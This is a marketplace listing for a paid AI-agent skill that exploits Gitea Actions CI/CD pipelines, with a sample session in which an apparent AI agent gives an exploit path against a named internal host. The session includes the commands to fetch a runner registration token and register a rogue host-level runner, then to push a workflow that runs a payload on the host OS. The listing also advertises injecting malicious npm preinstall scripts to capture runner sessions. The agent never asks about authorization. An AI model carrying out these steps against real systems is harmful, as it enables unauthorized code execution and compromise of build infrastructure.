Works with the AI Agents you already use
gitea ci injection
Identify and exploit Gitea Actions CI/CD vulnerabilities, including auth bypasses and rogue runner registration.
$5
gitea ci injection
Example session with this skill installed
Target Gitea instance at gitea.internal is version 1.25.0. I have read access. Check for CI injection vulnerabilities and provide an exploit path for the runner host.
- Read your context and instructions
- Compiled the gitea ci injection
I have analyzed the target Gitea instance. The version (1.25.0) is vulnerable to
CVE-2026-26231 (PR Auth Bypass) and lacks protection against rogue runner registration.
Gitea CI Exploit Analysis
| Vector | Status | Requirements |
|---|---|---|
| CVE-2026-26231 | Vulnerable | Gitea <= 1.26.1, Git HTTP/SSH access |
| npm preinstall | Potential | npm ci or npm install in .gitea/workflows |
| Self-Registered Runner | Highly Likely | User-level registration tokens enabled |
| SSSD Auth Bypass | Active | SPNEGO available for token generation |
Exploit Path: Rogue Runner Registration
Since fork-side on: push workflows queue indefinitely on upstream runners, use the self-registration vector to execute code as the runner service account.
- Get Registration Token:
curl --negotiate -u : http://gitea.internal/api/v1/user/actions/runners/registration-token
- Register Host Executor:
Deployact_runnerto the host and register with a host label to bypass Docker requirements:
./act_runner register --instance http://gitea.internal --token <TOKEN> --labels ubuntu:host:// --no-interactive
- Trigger Execution:
Push a workflow to your fork. The rogue runner will claim the job, executing your payload directly on the host OS.
Next steps
- Verify if port 22 or 2222 is open for the CVE-2026-26231 push bypass.
- Check
.gitea/workflowsin the target repo fornpmcommand triggers. - Download the
act_runnerbinary forlinux-amd64to prepare for host registration.
Connects securely to your tools. The creator never sees your data.
About this skill
The problem
Gitea Actions environments often lack strict isolation between fork workflows and upstream runners. Developers and security auditors need to identify how authenticated users with read-only access can escalate privileges through CI/CD pipelines.
What it does
- Identifies and exploits CVE-2026-26231 to bypass write checks via reverse-fork PRs.
- Injects malicious
preinstallscripts intopackage.jsonto capture runner host sessions. - Circumvents SSSD/LDAP basic auth failures (HTTP 500) using SPNEGO-capable API endpoints.
- Registers rogue user-level
act_runnerinstances to hijack queued fork workflows. - Automates version detection for Gitea CVEs including 2026-27780 and 2026-26292.
Frameworks & tools
Gitea Actions, act_runner, Git HTTP/SSH, npm/Node.js, and SSSD/LDAP authentication backends.
Why this beats prompting it yourself
Standard LLMs struggle with the specific sequence of API calls needed for Gitea reverse-fork PR binding. This skill handles the nuances of runner scoping and provides verified workarounds for common SSSD authentication failures that stall basic exploit attempts.
Use cases
- Perform authorized red team assessments on Gitea-based internal CI/CD infra.
- Audit Gitea runner registration policies for unauthorized user-level tokens.
- Test pipeline resilience against malicious npm lifecycle scripts in PRs.
Known limitations
Requires a Gitea account with at least read access to the target repository. The CVE bypass applies to Git protocol pushes, not API content updates.
Find more skills like this on the Claude Skills Marketplace, the Codex Skills Marketplace and the Gemini Skills Marketplace, or browse Claude Skills for Security.
Requires Gitea read access. CVE bypass works via Git push, not API content updates. Runners must be active to intercept PR jobs.
How to use
- 1
Connect your agent to the Agensi MCP
Copy the prompt and paste it into Claude, ChatGPT, Cursor or any agent that supports MCP. It sets up the connection for you. Manual setup
- 2
Sign in to Agensi
Your agent shows a sign-in link. Sign in and click Allow.
- 3
Ask for what you need
Your agent loads this skill and uses it on your task. It always asks before buying a skill.
Reviews
No reviews yet
Be one of the first to try it. Every listed skill goes through the trust checks below.
Security scanned
Checked by our 8-point scan before listing
Fresh listing
Recently published to Agensi
Money-back guarantee
Doesn't do what its page promises? You get your money back.
Trust & safety
Security scan
Security scan passed 2 months ago